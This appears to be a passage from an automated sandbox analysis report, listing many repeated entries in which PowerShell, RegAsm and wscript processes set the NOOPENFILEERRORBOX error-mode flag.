Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
